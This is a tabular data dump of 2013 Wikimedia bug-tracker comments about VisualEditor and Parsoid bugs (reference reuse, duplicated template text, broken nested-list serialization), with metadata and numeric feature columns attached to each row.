**Attached**: {F11503}",,,1372712993,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,3.3703703703703702,0.6666666666666666,"**rachelqa99** wrote:

first reference is picked when erroneous text typed in

**Attached**: {F11503}"
244130,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"**rachelqa99** wrote:

I have references that already exist. I want to reuse one of them. I choose reference bookmark icon.  It lists all current references under use current reference.  It is unclear what to type here.  If I type in erroneous text, it seems to let me insert it, and it chooses the first reference [ users 1].  It does not check to see if text corresponds to existing reference.
Need directions on what to type for a existing reference, or how to choose existing reference.",,,1372712923,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,0.0,1.0,3.5,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.5,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,5.5,2.5,2.0,2.5,0.0,0.0,0.0,0.0,6.5,0.0,1.5,0.0,8.0,10.5,0.0,0.0,0.0,0.0,8.0,0.0,3.0,1.0,1.5,3.0,0.0,0.0,0.0,3.7341750841750843,0.6882154882154883,"**rachelqa99** wrote:

I have references that already exist. I want to reuse one of them. I choose reference bookmark icon.  It lists all current references under use current reference.  It is unclear what to type here.  If I type in erroneous text, it seems to let me insert it, and it chooses the first reference [ users 1].  It does not check to see if text corresponds to existing reference.
Need directions on what to type for a existing reference, or how to choose existing reference."
52502,VisualEditor: Duplicating text in template on unrelated edit,"I suspect this may be related to an existing bug, but if so I can't figure out how to find it.

Looking at the very bottom change on http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562259398, we see the first in a series of edits where editing elsewhere adds duplicated characters to a template that I don't believe is being edited directly. (Further duplication occurred in these edits to the same page: http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562359846, http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562363670, http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562363840)

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372695120,1383006754.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4vsqha4nxg6sirme3ghc,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,1.0,3.0,2.0,6.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,1.0,0.0,6.0,3.0,12.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.893617021276596,0.723404255319149,"I suspect this may be related to an existing bug, but if so I can't figure out how to find it.

Looking at the very bottom change on URL we see the first in a series of edits where editing elsewhere adds duplicated characters to a template that I don't believe is being edited directly. (Further duplication occurred in these edits to the same page: URL URL URL

--------------------------
**Version**: unspecified
**Severity**: major"
243138,VisualEditor: Duplicating text in template on unrelated edit,I *believe* that this is now fixed - marking as such. Please re-open if you find it happening again.,,,1383006754,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.28,0.88,I *believe* that this is now fixed - marking as such. Please re-open if you find it happening again.
243133,VisualEditor: Duplicating text in template on unrelated edit,Guillaume: This is a Parsoid bug (which I was able to reproduce). This current bug seems like a generic placeholder bug. I created bug 53429 in parsoid so we can identify more specifically what went wrong. You can add yourself to that bug if you wish.,,,1377639799,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,11.0,11.0,2.0,0.0,0.0,0.0,11.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,0.0,3.8867924528301887,0.7735849056603774,Guillaume: This is a Parsoid bug (which I was able to reproduce). This current bug seems like a generic placeholder bug. I created bug 53429 in parsoid so we can identify more specifically what went wrong. You can add yourself to that bug if you wish.
243129,VisualEditor: Duplicating text in template on unrelated edit,"In this edit, a table was duplicated (but it wasn't in a template):

https://fr.wikipedia.org/w/index.php?&diff=96159772

Is it the same issue or should I open a separate bug report?",,,1377594995,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,12.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.235294117647059,0.8529411764705882,"In this edit, a table was duplicated (but it wasn't in a template):

URL

Is it the same issue or should I open a separate bug report?"
243123,VisualEditor: Duplicating text in template on unrelated edit,Can someone check and see if https://bugzilla.wikimedia.org/show_bug.cgi?id=52618 should better be marked as a duplicate of this? Thanks!,,,1375957426,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,5,,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,5.0,5.0,11.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.789473684210526,1.0,Can someone check and see if URL should better be marked as a duplicate of this? Thanks!
243116,VisualEditor: Duplicating text in template on unrelated edit,"(In reply to comment #3)
> en.wp user reports that adding a single hyphen to a page trigged this bug to
> remove part of an infbox and duplicate other templates in the middle of a
> category.
> 
> https://en.wikipedia.org/w/index.
> php?title=IBM_Personal_Computer&diff=567356453&oldid=566275349

The table at the end was not closed. I [https://en.wikipedia.org/w/index.php?title=IBM_Personal_Computer&diff=567437920&oldid=567357722 fixed it (for consistency's sake, I used the s-end template)] and VE edits and saves should not introduce dupes on this.",,,1375817388,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,2.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,19.0,0.0,3.0,6.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,8.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.096774193548387,0.7096774193548387,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The table at the end was not closed. I [URL fixed it (for consistency's sake, I used the s-end template)] and VE edits and saves should not introduce dupes on this."
243111,VisualEditor: Duplicating text in template on unrelated edit,"I think this diff from fr.wp is another example?
https://fr.wikipedia.org/w/index.php?title=Gen%C3%A8ve&diff=95604102&oldid=95601955",,,1375804621,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"I think this diff from fr.wp is another example?
URL"
243105,VisualEditor: Duplicating text in template on unrelated edit,"en.wp user reports that adding a single hyphen to a page trigged this bug to remove part of an infbox and duplicate other templates in the middle of a category.

https://en.wikipedia.org/w/index.php?title=IBM_Personal_Computer&diff=567356453&oldid=566275349",,,1375801774,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,3.0,3.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,4.121212121212121,0.8787878787878788,"en.wp user reports that adding a single hyphen to a page trigged this bug to remove part of an infbox and duplicate other templates in the middle of a category.

URL"
243099,VisualEditor: Duplicating text in template on unrelated edit,"This looks like the same issue, yes.",,,1375377912,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"This looks like the same issue, yes."
243095,VisualEditor: Duplicating text in template on unrelated edit,"Could this bug be responsible for these edits where one templates was duplicated and the other apparently duplicated and substed in the middle of a category link?

https://en.wikipedia.org/w/index.php?title=Ford_Figo&diff=566719977&oldid=566176664
https://en.wikipedia.org/w/index.php?title=Ford_Figo&diff=next&oldid=566719977",,,1375370248,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,9.0,3.0,6.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.53125,0.875,"Could this bug be responsible for these edits where one templates was duplicated and the other apparently duplicated and substed in the middle of a category link?

URL
URL"
52483,VisualEditor: Likely invalid HTML emitted for list items,"Screenshot of list indent problem

If I add indent to any list item, it breaks. 

The indented line gets moved to the end of the previous line.

The live-changes looks as it is working properly, but the edit-diff (preview your changes) always shows it as broken. (See attachment)

Confirmed with:
* Firefox and Chrome,
* with ordered and un-ordered list items, 
* with items added to the middle of a list, and to the end of a list,
* and with both new items added to a list, and existing items given increased indent.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11420}",High,80.0,1372641600,1372709778.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-fn66at2vne5i62qo6jnn,task_description,resolved,True,c1,3,False,False,True,0,,0.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.5,2.5,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,0.5,7.0,0.5,3.5,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,9.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.447368421052632,0.5723684210526316,"Screenshot of list indent problem

If I add indent to any list item, it breaks. 

The indented line gets moved to the end of the previous line.

The live-changes looks as it is working properly, but the edit-diff (preview your changes) always shows it as broken. (See attachment)

Confirmed with:
* Firefox and Chrome,
* with ordered and un-ordered list items, 
* with items added to the middle of a list, and to the end of a list,
* and with both new items added to a list, and existing items given increased indent.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11420}"
242079,VisualEditor: Likely invalid HTML emitted for list items,"Change 71395 merged by jenkins-bot:
Bug 50483: Make sure nested list serialization is newline-insensitive

https://gerrit.wikimedia.org/r/71395",,,1372708410,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,0.9130434782608695,"Change 71395 merged by jenkins-bot:
Bug 50483: Make sure nested list serialization is newline-insensitive

GERRIT_URL"
242075,VisualEditor: Likely invalid HTML emitted for list items,"Change 71395 had a related patch set uploaded by GWicke:
Bug 50483: Make sure nested list serialization is newline-insensitive

https://gerrit.wikimedia.org/r/71395",,,1372706751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.653846153846154,0.9615384615384616,"Change 71395 had a related patch set uploaded by GWicke:
Bug 50483: Make sure nested list serialization is newline-insensitive

GERRIT_URL"
242070,VisualEditor: Likely invalid HTML emitted for list items,This is not a new bug.  This has been around for a long time.  I went back to commits almost 3 months back and tested.,,,1372704536,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.8,This is not a new bug.  This has been around for a long time.  I went back to commits almost 3 months back and tested.
242065,VisualEditor: Likely invalid HTML emitted for list items,"Looks like Parsoid serializer is newline sensitive in this case:

$ echo '<ol><li>Foo\n<ol><li>Bar</li></ol></li></ol>' | node parse.js --html2wt
#Foo
##Bar",,,1372704376,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,6.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9166666666666665,0.7777777777777778,"Looks like Parsoid serializer is newline sensitive in this case:

$ echo '<ol><li>Foo\n<ol><li>Bar</li></ol></li></ol>' | node parse.js --html2wt
#Foo
##Bar"
242057,VisualEditor: Likely invalid HTML emitted for list items,"$ echo '<ol><li>Foo<ol><li>Bar</li></ol></li></ol>' | node js/tests/parse.js  --html2wt 
#Foo##Bar",,,1372704023,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,28.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.64,0.76,"$ echo '<ol><li>Foo<ol><li>Bar</li></ol></li></ol>' | node js/tests/parse.js  --html2wt 
#Foo##Bar"
242050,VisualEditor: Likely invalid HTML emitted for list items,"I'm guessing that VE emits the wrong HTML here, so reassigning to VE. Please move to Parsoid again if the VE HTML is sane.",,,1372703188,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,29.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,14.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5357142857142856,0.7857142857142857,"I'm guessing that VE emits the wrong HTML here, so reassigning to VE. Please move to Parsoid again if the VE HTML is sane."
242043,VisualEditor: Likely invalid HTML emitted for list items,"Also:
echo '<ol><li>foo</li><li>bar</li></ol>' | node parse --html2wt
#foo
#bar",,,1372694554,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.217391304347826,0.7391304347826086,"Also:
echo '<ol><li>foo</li><li>bar</li></ol>' | node parse --html2wt
#foo
#bar"
242038,VisualEditor: Likely invalid HTML emitted for list items,"Cannot reproduce:

echo -e '#foo\n#bar' | node parse --wt2wt
#foo
#bar

Can you provide the HTML the VE sends?",,,1372694100,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.096774193548387,0.7741935483870968,"Cannot reproduce:

echo -e '#foo\n#bar' | node parse --wt2wt
#foo
#bar

Can you provide the HTML the VE sends?"
242031,VisualEditor: Likely invalid HTML emitted for list items,"This appears to be a (new?) bug in Parsoid - 

# Foo
# Bar

-> 

# Foo## Bar

rather than

# Foo
## Bar

Unless we're breaking something in VisualEditor somehow?",,,1372691714,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,21.0,2.0,0.0,4.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,2.0,10.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.8541666666666665,0.5833333333333334,"This appears to be a (new?) bug in Parsoid - 

# Foo
# Bar

-> 

# Foo## Bar

rather than

# Foo
## Bar

Unless we're breaking something in VisualEditor somehow?"
52476,VisualEditor: Add a link to the User Guide to the interface,"As per http://www.mediawiki.org/wiki/Help_talk:VisualEditor/User_guide#Discoverability .
Might be handy, since we're pretty much beginners with it.

--------------------------
**Version**: unspecified
